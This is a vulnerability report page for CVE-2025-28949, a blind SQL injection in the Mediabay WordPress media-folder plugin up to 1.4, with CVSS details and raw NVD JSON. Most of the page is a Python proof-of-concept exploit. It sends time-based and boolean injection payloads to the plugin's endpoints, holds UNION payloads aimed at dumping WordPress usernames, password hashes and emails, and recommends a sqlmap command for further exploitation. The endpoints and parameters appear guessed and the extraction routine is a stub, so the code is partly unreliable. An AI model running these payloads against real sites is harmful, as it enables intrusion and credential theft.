Security Vulnerability Report
中文
CVE-2025-28949 CVSS 8.5 HIGH

CVE-2025-28949

Published: 2025-12-31 20:15:42
Last Modified: 2026-04-28 19:30:09

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codedraft Mediabay - WordPress Media Library Folders allows Blind SQL Injection.This issue affects Mediabay - WordPress Media Library Folders: from n/a through 1.4.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Mediabay - WordPress Media Library Folders <= 1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-28949 Blind SQL Injection PoC # Target: WordPress site with Mediabay plugin <= 1.4 # Author: Security Researcher import requests import argparse import time def test_sql_injection(url, proxy=None): """Test for SQL injection vulnerability""" proxies = {'http': proxy, 'https': proxy} if proxy else None # Blind SQL Injection payload - time-based # Extract current_user_can capability value payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) AND '1'='1" # Target the mediabay AJAX endpoint or REST API endpoints = [ f"{url}/wp-admin/admin-ajax.php", f"{url}/wp-json/mediabay/v1/folders" ] headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Testing CVE-2025-28949 on {url}") print(f"[*] Target plugin: Mediabay <= 1.4") for endpoint in endpoints: print(f"\n[~] Testing endpoint: {endpoint}") # Test with boolean-based blind injection true_payload = "1' AND 1=1 AND '1'='1" false_payload = "1' AND 1=2 AND '1'='1" try: # Send true condition request start = time.time() response = requests.post(endpoint, data={'action': 'mediabay_query', 'folder_id': true_payload}, headers=headers, proxies=proxies, timeout=30) true_time = time.time() - start # Send false condition request start = time.time() response = requests.post(endpoint, data={'action': 'mediabay_query', 'folder_id': false_payload}, headers=headers, proxies=proxies, timeout=30) false_time = time.time() - start if true_time > false_time * 2: print(f"[+] VULNERABLE! Time-based blind SQL injection confirmed") return True elif response.status_code == 200 and true_time > 3: print(f"[+] VULNERABLE! Time-based SQL injection detected (SLEEP worked)") return True else: print(f"[-] Not vulnerable or endpoint not found") except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return False def extract_data(url, proxy=None): """Extract database information using blind SQL injection""" print("\n[*] Starting data extraction...") # Example: Extract WordPress database prefix and version payloads = { 'version': "1' UNION SELECT NULL,@@version,NULL-- ", 'users': "1' UNION SELECT user_login,user_pass,user_email FROM wp_users-- " } for name, payload in payloads.items(): print(f"\n[*] Extracting: {name}") # Implementation would require parsing responses # This is a simplified example pass if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-28949 PoC') parser.add_argument('-u', '--url', required=True, help='Target WordPress URL') parser.add_argument('-p', '--proxy', help='HTTP proxy (optional)') args = parser.parse_args() if test_sql_injection(args.url, args.proxy): print("\n[!] Target is vulnerable. Consider using sqlmap for further exploitation.") print("[!] sqlmap -u \"{0}\" --data="action=mediabay_query&folder_id=*" --batch".format(args.url))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-28949", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:42.060", "lastModified": "2026-04-28T19:30:09.430", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Codedraft Mediabay - WordPress Media Library Folders allows Blind SQL Injection.This issue affects Mediabay - WordPress Media Library Folders: from n/a through 1.4."}, {"lang": "es", "value": "Neutralización Incorrecta de Elementos Especiales utilizados en un Comando SQL ('Inyección SQL') vulnerabilidad en Codedraft Mediabay - Carpetas de la Biblioteca de Medios de WordPress permite Inyección SQL Ciega. Este problema afecta a Mediabay - Carpetas de la Biblioteca de Medios de WordPress: desde n/a hasta 1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/mediabay/vulnerability/wordpress-mediabay-wordpress-media-library-folders-1-4-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}